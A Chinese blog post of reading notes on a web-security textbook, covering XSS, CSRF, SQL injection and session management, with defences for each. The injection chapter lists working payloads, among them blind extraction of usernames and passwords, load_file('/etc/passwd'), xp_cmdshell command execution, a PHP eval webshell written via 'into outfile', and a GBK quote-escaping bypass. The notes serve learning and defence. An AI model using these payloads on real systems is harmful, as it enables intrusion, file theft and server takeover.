1. 程式人生 > >白帽子講web安全 讀書筆記

白帽子講web安全 讀書筆記

第三章:xss

分類:反射型、儲存型、Dom型 效果和反射型類似 但是是通過修改dom節點形成的

防禦:

設定cookie的Httponly屬性,瀏覽器會禁用此cookie

輸入檢查、輸出檢查、htmlencode

 
第四章:csrf

本質:重要的引數被攻擊者發現

瀏覽器的Cookie:

  session cookie/臨時cookie                    關閉頁面就沒了
  php header(“Set-cookie:cookie1=123;”)
  第三方cookie/本地cookie  有expire          儲存在本地
  php header(“Set-cookie:cookie1=123; expires=  time”,false)
  
  第三方cookie有的瀏覽器預設會攔截,不讓傳送。比如IE Safari
  通過b的iframe請求a,預設瀏覽器攔截第三方cookie。
  
  如果網站返回給瀏覽器的HTTP頭中有P3P頭,那麼允許傳送第三方cookie。
 
  如果服務端是用request來接受引數,get和post無所謂。

  如果是用post來接受,那麼可以構造一個form,用js來提交。

CSRF worm

  Sn引數遍歷可以給任意人發訊息,百度的另一個介面可以查所有的好友。
  那麼攻擊者,檢視頁面後,給所有好友發短訊息,訊息中包含圖片,再次轉發給所有好友。
  
  
CSRF 防禦
  驗證碼
  檢查Referer(缺陷:瀏覽器並不是什麼時候都可以讀取referer
  https轉到http 瀏覽器也不會發referer
  某些客戶端外掛可能允許自定義referer)
  Token(主要手段)
1.Token要同時放在表單和session(或者cookie)中,最好是post傳輸。
2.每次提交,服務端驗證表單中的token和session(cookie)中的session是否一致。

XSRF就是XSS結合CSRF。XSS獲取cookie中的token,再用csrf攻擊。

第七章:注入

判斷方法:

1. and 1=1 / and 1=2

2.mysql 中 id=1 and sleep(5)       #延時注入

3.mysql 中 benchmark(100000encode(abc’,‘abc)#延時注入

利用技巧:

1.mysql中常用的函式  database()  system_user()  current_user()  last_insert_id()

2.寫入一句話:select "<?php eval($_POST[1]);?>" into outfile "

網站絕對路徑"

3.  id = 1 and substring(@@version,1,1)=5

4.  id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>64

5.  id = 1 union select 1,1,load_file('/etc/passwd')

6. mssql中利用儲存過程執行系統命令  EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

7. 資料庫編碼若為gbk 會把識別0xbf5caddslashes會把 0x27變成0x5c27,那麼構造payload 0xbf27,即可插入單引號注入。

8.sql column truncation是因為定義column長度varchar時值太小,若STRICT_ALL_TABLES開啟,那麼可以插入 溢位部分不同 的值會成功。

防禦:

1.1預編譯:繫結變數,不能改變sql的語義(引數化查詢)

php$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);

1.2使用儲存過程,呼叫存在資料庫裡的函式。

1.3設定變數的值,比如固定為integer

1.4使用定義好的安全函式來轉義。

1.5設定資料庫使用者的最小許可權。

2.1php中的過濾函式:

php.ini magic_quotes_gpc 開啟的話,輸入的字串會被轉義,多加一個\

若沒有開啟magic_quotes_gpc,用addslashes(),強制在單引號上加\(可能將0xbf27 變成0xbf 5c 27,如果資料庫是gbk,會識別0xbf5c,統一編碼即可解決)

mysql_real_escape_string() 考慮字符集

mysql_escape_string() 不考慮字符集 ( php5.3已經棄用)

第九章:認證與會話管理

9.1 認證是為了認出使用者是誰,授權是決定使用者可以做什麼。

9.2 密碼的儲存最好是用單向雜湊函式演算法,不可逆的演算法,儲存在資料庫中。

若為md5,最好加鹽,儲存在伺服器的配置檔案中,妥善保管。

9.3 多因素認證,比如手機動態口令等等可以提高安全性。

9.4 Session與認證

SessionID通常可以儲存在cookie中,受瀏覽器的同源策略保護。

SessionID也可以放在url中,(某些手機客戶端沒有cookie),會帶來一些隱患。比如訪問第三方資源,通過refer引數洩漏sid

9.5 Session Fixation攻擊

如果服務端沒有在使用者授權之後,使用一個新的session,可能造成session固定攻擊。

攻擊者,傳送url(包含sid),受害者點選url授權,sid未改變,攻擊者即拿到了sid

9.6 Session保持攻擊

Session保持即不斷重新整理網頁,不讓session過期。

如果Session是儲存在Cookie中,那麼攻擊者可以修改CookieExpire標籤,不讓其過期。那麼該Cookie即變成了第三方的Cookie

修復方法,即在session初始分配的時候,在服務端設定期限,強制其過期。

9.7 SSO 單點登入

Single Sign On ,使用者只需要登入一次,獲得一個唯一的url,即可訪問所有系統。雖然可以降低了業務的複雜性,但是也依賴於第三方的OpenID,所以OpenID也收到了限制。